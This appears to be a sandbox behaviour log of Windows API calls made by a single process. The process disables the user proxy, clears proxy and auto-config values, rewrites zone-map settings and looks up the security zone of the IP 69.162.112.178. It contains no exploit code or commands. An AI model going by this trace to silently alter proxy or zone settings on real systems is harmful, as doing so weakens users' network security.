06:38:12,382	996	RegCloseKey	Handle => 0x00000200	SUCCESS	0x00000000
06:38:12,382	996	RegCloseKey	Handle => 0x00000204	SUCCESS	0x00000000
06:38:12,382	996	RegOpenKeyExA	Handle => 0x00000204 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,382	996	RegQueryValueExA	Handle => 0x00000204 DataLength => 4 ValueName => ProxySettingsPerUser Type => 516	FAILURE	0x00000002
06:38:12,382	996	RegCloseKey	Handle => 0x00000204	SUCCESS	0x00000000
06:38:12,382	996	LdrLoadDll	Flags => 521452 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
06:38:12,382	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:38:12,393	996	RegOpenKeyExW	Handle => 0x00000204 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
06:38:12,393	996	RegCreateKeyExA	Handle => 0x00000200 Access => 131078 Registry => 0x00000204 Class => SubKey => Software\Microsoft\windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,393	996	RegSetValueExA	Handle => 0x00000200 Buffer => 0 ValueName => ProxyEnable Type => 4	SUCCESS	0x00000000
06:38:12,393	996	RegDeleteValueA	Handle => 0x00000200 ValueName => ProxyServer	FAILURE	0x00000002
06:38:12,393	996	RegDeleteValueA	Handle => 0x00000200 ValueName => ProxyOverride	FAILURE	0x00000002
06:38:12,393	996	RegDeleteValueA	Handle => 0x00000200 ValueName => AutoConfigURL	FAILURE	0x00000002
06:38:12,393	996	RegCloseKey	Handle => 0x00000200	SUCCESS	0x00000000
06:38:12,393	996	RegCreateKeyExA	Handle => 0x00000208 Access => 2 Registry => 0x80000005 Class => SubKey => Software\Microsoft\windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,393	996	RegSetValueExA	Handle => 0x00000208 Buffer => 0 ValueName => ProxyEnable Type => 4	SUCCESS	0x00000000
06:38:12,393	996	RegCloseKey	Handle => 0x00000208	SUCCESS	0x00000000
06:38:12,393	996	RegCloseKey	Handle => 0x00000204	SUCCESS	0x00000000
06:38:12,393	996	RegOpenKeyExA	Handle => 0x00000204 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,393	996	RegQueryValueExA	Handle => 0x00000204 DataLength => 4 ValueName => ProxySettingsPerUser Type => 516	FAILURE	0x00000002
06:38:12,393	996	RegCloseKey	Handle => 0x00000204	SUCCESS	0x00000000
06:38:12,393	996	LdrLoadDll	Flags => 521396 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
06:38:12,393	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:38:12,393	996	RegOpenKeyExW	Handle => 0x00000204 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
06:38:12,403	996	RegCreateKeyExA	Handle => 0x00000208 Access => 1 Registry => 0x00000204 Class => SubKey => Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	SUCCESS	0x00000000
06:38:12,403	996	RegQueryValueExA	Handle => 0x00000208 DataLength => 56 ValueName => SavedLegacySettings Type => 3	SUCCESS	0x00000000
06:38:12,403	996	RegQueryValueExA	Handle => 0x00000208 Data => ValueName => SavedLegacySettings	SUCCESS	0x00000000
06:38:12,403	996	RegCreateKeyExA	Handle => 0x0000020c Access => 2 Registry => 0x00000204 Class => SubKey => Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	SUCCESS	0x00000000
06:38:12,403	996	RegCloseKey	Handle => 0x00000204	SUCCESS	0x00000000
06:38:12,403	996	RegCloseKey	Handle => 0x00000208	SUCCESS	0x00000000
06:38:12,403	996	RegSetValueExA	Handle => 0x0000020c Buffer => ValueName => SavedLegacySettings Type => 3	SUCCESS	0x00000000
06:38:12,403	996	RegCloseKey	Handle => 0x0000020c	SUCCESS	0x00000000
06:38:12,413	996	LdrLoadDll	Flags => 521916 BaseAddress => 0x7e1e0000 FileName => urlmon.dll	SUCCESS	0x00000000
06:38:12,413	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CoInternetCreateSecurityManager FunctionAddress => 0x7e1e30e7 ModuleHandle => 0x7e1e0000	SUCCESS	0x00000000
06:38:12,413	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CoInternetCreateZoneManager FunctionAddress => 0x7e1e9bd7 ModuleHandle => 0x7e1e0000	SUCCESS	0x00000000
06:38:12,413	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CoInternetIsFeatureEnabledForUrl FunctionAddress => 0x7e1ebb5e ModuleHandle => 0x7e1e0000	SUCCESS	0x00000000
06:38:12,413	996	RegOpenKeyExA	Handle => 0x00000210 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	SUCCESS	0x00000000
06:38:12,413	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	FAILURE	0x00000002
06:38:12,413	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	FAILURE	0x00000002
06:38:12,413	996	RegOpenKeyExA	Handle => 0x00000218 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	SUCCESS	0x00000000
06:38:12,413	996	RegOpenKeyExA	Handle => 0x0000021c Registry => 0x00000218 SubKey => Ranges\	SUCCESS	0x00000000
06:38:12,413	996	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 0 MaxValueNameLength => 0 ValueCount => 0 MaxSubKeyLength => 0 KeyHandle => 0x0000021c SubKeyCount => 0 Class =>	SUCCESS	0x00000000
06:38:12,423	996	RegCloseKey	Handle => 0x0000021c	SUCCESS	0x00000000
06:38:12,423	996	NtCreateSection	ObjectAttributes => C:\UrlZonesSM_TDW DesiredAccess => 0x000f0007 SectionHandle => 0x0000021c FileHandle => 0x00000000	SUCCESS	0x40000000
06:38:12,423	996	ZwMapViewOfSection	SectionOffset => 0x0007f520 SectionHandle => 0x0000021c ProcessHandle => 0xffffffff BaseAddress => 0x00fe0000	SUCCESS	0x00000000
06:38:12,423	996	RegOpenKeyExW	Handle => 0x00000220 Registry => 0x80000002 SubKey => System\Setup	SUCCESS	0x00000000
06:38:12,423	996	RegQueryValueExW	Handle => 0x00000220 Data => 0 ValueName => SystemSetupInProgress	SUCCESS	0x00000000
06:38:12,423	996	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
06:38:12,423	996	RegOpenKeyExW	Handle => 0x00000220 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	SUCCESS	0x00000000
06:38:12,423	996	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x00000220 SubKey => 0	SUCCESS	0x00000000
06:38:12,423	996	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
06:38:12,423	996	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x00000220 SubKey => 1	SUCCESS	0x00000000
06:38:12,423	996	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
06:38:12,423	996	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x00000220 SubKey => 2	SUCCESS	0x00000000
06:38:12,423	996	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
06:38:12,423	996	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x00000220 SubKey => 3	SUCCESS	0x00000000
06:38:12,433	996	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
06:38:12,433	996	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x00000220 SubKey => 4	SUCCESS	0x00000000
06:38:12,433	996	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
06:38:12,433	996	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
06:38:12,433	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	FAILURE	0x00000002
06:38:12,433	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	FAILURE	0x00000002
06:38:12,433	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	FAILURE	0x00000002
06:38:12,433	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	FAILURE	0x00000002
06:38:12,433	996	RegOpenKeyExA	Handle => 0x00000220 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	SUCCESS	0x00000000
06:38:12,433	996	RegEnumKeyExW	Index => 0 Handle => 0x00000220 Name => 0 Class =>	SUCCESS	0x00000000
06:38:12,433	996	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	SUCCESS	0x00000000
06:38:12,433	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	FAILURE	0x00000002
06:38:12,433	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	FAILURE	0x00000002
06:38:12,433	996	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	SUCCESS	0x00000000
06:38:12,433	996	RegQueryValueExW	Handle => 0x00000228 Data => 33 ValueName => Flags	SUCCESS	0x00000000
06:38:12,433	996	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
06:38:12,433	996	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
06:38:12,433	996	RegEnumKeyExW	Index => 1 Handle => 0x00000220 Name => 1 Class =>	SUCCESS	0x00000000
06:38:12,433	996	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	SUCCESS	0x00000000
06:38:12,443	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	FAILURE	0x00000002
06:38:12,443	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	FAILURE	0x00000002
06:38:12,443	996	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	SUCCESS	0x00000000
06:38:12,443	996	RegQueryValueExW	Handle => 0x00000228 Data => 219 ValueName => Flags	SUCCESS	0x00000000
06:38:12,443	996	RegOpenKeyExA	Handle => 0x0000022c Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	SUCCESS	0x00000000
06:38:12,443	996	RegSetValueExW	Handle => 0x0000022c Buffer => 1 ValueName => ProxyBypass Type => 4	SUCCESS	0x00000000
06:38:12,443	996	RegSetValueExW	Handle => 0x0000022c Buffer => 1 ValueName => IntranetName Type => 4	SUCCESS	0x00000000
06:38:12,443	996	RegSetValueExW	Handle => 0x0000022c Buffer => 1 ValueName => UNCAsIntranet Type => 4	SUCCESS	0x00000000
06:38:12,443	996	RegCloseKey	Handle => 0x0000022c	SUCCESS	0x00000000
06:38:12,443	996	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
06:38:12,443	996	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
06:38:12,443	996	RegEnumKeyExW	Index => 2 Handle => 0x00000220 Name => 2 Class =>	SUCCESS	0x00000000
06:38:12,443	996	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	SUCCESS	0x00000000
06:38:12,443	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	FAILURE	0x00000002
06:38:12,443	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	FAILURE	0x00000002
06:38:12,443	996	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	SUCCESS	0x00000000
06:38:12,453	996	RegQueryValueExW	Handle => 0x00000228 Data => 71 ValueName => Flags	SUCCESS	0x00000000
06:38:12,453	996	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
06:38:12,453	996	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
06:38:12,453	996	RegEnumKeyExW	Index => 3 Handle => 0x00000220 Name => 3 Class =>	SUCCESS	0x00000000
06:38:12,453	996	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	SUCCESS	0x00000000
06:38:12,453	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	FAILURE	0x00000002
06:38:12,453	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	FAILURE	0x00000002
06:38:12,453	996	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	SUCCESS	0x00000000
06:38:12,453	996	RegQueryValueExW	Handle => 0x00000228 Data => 1 ValueName => Flags	SUCCESS	0x00000000
06:38:12,453	996	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
06:38:12,453	996	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
06:38:12,453	996	RegEnumKeyExW	Index => 4 Handle => 0x00000220 Name => 4 Class =>	SUCCESS	0x00000000
06:38:12,453	996	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	SUCCESS	0x00000000
06:38:12,453	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	FAILURE	0x00000002
06:38:12,453	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	FAILURE	0x00000002
06:38:12,453	996	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	SUCCESS	0x00000000
06:38:12,453	996	RegQueryValueExW	Handle => 0x00000228 Data => 3 ValueName => Flags	SUCCESS	0x00000000
06:38:12,453	996	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
06:38:12,453	996	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
06:38:12,453	996	RegEnumKeyExW	Index => 5 Handle => 0x00000220 Name => 4 Class =>	FAILURE	0x00000103
06:38:12,463	996	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
06:38:12,463	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\	FAILURE	0x00000002
06:38:12,463	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\	FAILURE	0x00000002
06:38:12,463	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\	FAILURE	0x00000002
06:38:12,463	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\	FAILURE	0x00000002
06:38:12,463	996	RegOpenKeyExA	Handle => 0x00000220 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\	SUCCESS	0x00000000
06:38:12,463	996	RegEnumKeyExW	Index => 0 Handle => 0x00000220 Name => 0 Class =>	SUCCESS	0x00000000
06:38:12,463	996	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	SUCCESS	0x00000000
06:38:12,463	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	FAILURE	0x00000002
06:38:12,463	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	FAILURE	0x00000002
06:38:12,463	996	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	SUCCESS	0x00000000
06:38:12,473	996	RegQueryValueExW	Handle => 0x00000228 Data => 33 ValueName => Flags	SUCCESS	0x00000000
06:38:12,473	996	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
06:38:12,473	996	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
06:38:12,473	996	RegEnumKeyExW	Index => 1 Handle => 0x00000220 Name => 1 Class =>	SUCCESS	0x00000000
06:38:12,473	996	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	SUCCESS	0x00000000
06:38:12,473	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	FAILURE	0x00000002
06:38:12,473	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	FAILURE	0x00000002
06:38:12,473	996	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	SUCCESS	0x00000000
06:38:12,473	996	RegQueryValueExW	Handle => 0x00000228 Data => 219 ValueName => Flags	SUCCESS	0x00000000
06:38:12,473	996	RegOpenKeyExA	Handle => 0x0000022c Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	SUCCESS	0x00000000
06:38:12,473	996	RegSetValueExW	Handle => 0x0000022c Buffer => 1 ValueName => ProxyBypass Type => 4	SUCCESS	0x00000000
06:38:12,473	996	RegSetValueExW	Handle => 0x0000022c Buffer => 1 ValueName => IntranetName Type => 4	SUCCESS	0x00000000
06:38:12,473	996	RegSetValueExW	Handle => 0x0000022c Buffer => 1 ValueName => UNCAsIntranet Type => 4	SUCCESS	0x00000000
06:38:12,473	996	RegCloseKey	Handle => 0x0000022c	SUCCESS	0x00000000
06:38:12,473	996	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
06:38:12,473	996	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
06:38:12,473	996	RegEnumKeyExW	Index => 2 Handle => 0x00000220 Name => 2 Class =>	SUCCESS	0x00000000
06:38:12,473	996	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	SUCCESS	0x00000000
06:38:12,473	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	FAILURE	0x00000002
06:38:12,473	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	FAILURE	0x00000002
06:38:12,483	996	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	SUCCESS	0x00000000
06:38:12,483	996	RegQueryValueExW	Handle => 0x00000228 Data => 71 ValueName => Flags	SUCCESS	0x00000000
06:38:12,483	996	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
06:38:12,483	996	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
06:38:12,483	996	RegEnumKeyExW	Index => 3 Handle => 0x00000220 Name => 3 Class =>	SUCCESS	0x00000000
06:38:12,483	996	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	SUCCESS	0x00000000
06:38:12,483	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	FAILURE	0x00000002
06:38:12,483	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	FAILURE	0x00000002
06:38:12,483	996	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	SUCCESS	0x00000000
06:38:12,483	996	RegQueryValueExW	Handle => 0x00000228 Data => 1 ValueName => Flags	SUCCESS	0x00000000
06:38:12,483	996	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
06:38:12,483	996	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
06:38:12,483	996	RegEnumKeyExW	Index => 4 Handle => 0x00000220 Name => 4 Class =>	SUCCESS	0x00000000
06:38:12,483	996	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	SUCCESS	0x00000000
06:38:12,483	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	FAILURE	0x00000002
06:38:12,483	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	FAILURE	0x00000002
06:38:12,483	996	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	SUCCESS	0x00000000
06:38:12,483	996	RegQueryValueExW	Handle => 0x00000228 Data => 3 ValueName => Flags	SUCCESS	0x00000000
06:38:12,493	996	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
06:38:12,493	996	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
06:38:12,493	996	RegEnumKeyExW	Index => 5 Handle => 0x00000220 Name => 4 Class =>	FAILURE	0x00000103
06:38:12,493	996	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
06:38:12,493	996	RegOpenKeyExW	Handle => 0x00000220 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,493	996	RegQueryValueExW	Handle => 0x00000220 DataLength => 4 ValueName => Security_HKLM_only Type => 520032	FAILURE	0x00000002
06:38:12,493	996	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
06:38:12,493	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,493	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,493	996	RegOpenKeyExW	Handle => 0x00000220 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,493	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,493	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x00000220 SubKey => FEATURE_VALIDATE_URLHOSTNAME	FAILURE	0x00000002
06:38:12,493	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,493	996	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
06:38:12,493	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,493	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x00000218 SubKey => Domains\69.162.112.178	FAILURE	0x00000002
06:38:12,493	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\69.162.112.178	FAILURE	0x00000002
06:38:12,493	996	RegQueryValueExW	Handle => 0x00000210 Data => 1 ValueName => ProxyBypass	SUCCESS	0x00000000
06:38:12,493	996	LdrLoadDll	Flags => 520112 BaseAddress => 0x771b0000 FileName => WININET.dll	SUCCESS	0x00000000
06:38:12,493	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => IsHostInProxyBypassList FunctionAddress => 0x771d3350 ModuleHandle => 0x771b0000	SUCCESS	0x00000000
06:38:12,503	996	RegOpenKeyExA	Handle => 0x00000220 Registry => 0x00000218 SubKey => ProtocolDefaults\	SUCCESS	0x00000000
06:38:12,503	996	RegQueryValueExW	Handle => 0x00000220 Data => 3 ValueName => http	SUCCESS	0x00000000
06:38:12,503	996	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
06:38:12,503	996	RegOpenKeyExA	Handle => 0x00000220 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	SUCCESS	0x00000000
06:38:12,503	996	RegQueryValueExW	Handle => 0x00000220 Data => 1 ValueName => 1A10	SUCCESS	0x00000000
06:38:12,503	996	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
06:38:12,503	996	RegOpenKeyExW	Handle => 0x00000220 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,503	996	RegQueryValueExW	Handle => 0x00000220 DataLength => 4 ValueName => Security_HKLM_only Type => 521800	FAILURE	0x00000002
06:38:12,503	996	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
06:38:12,503	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,503	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,503	996	RegOpenKeyExW	Handle => 0x00000220 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,503	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,503	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x00000220 SubKey => FEATURE_RESPECT_OBJECTSAFETY_POLICY_KB905547	FAILURE	0x00000002
06:38:12,503	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,503	996	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
06:38:12,503	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,503	996	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000	1 time
06:38:12,513	996	NtQueryInformationFile	FileHandle => 0x0000018c FileInformation => \x00\x80\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000	22 times
06:38:12,523	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => EnableAutodial Type => 132	FAILURE	0x00000002
06:38:12,523	996	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
06:38:12,523	996	RegOpenKeyExA	Handle => 0x00000220 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
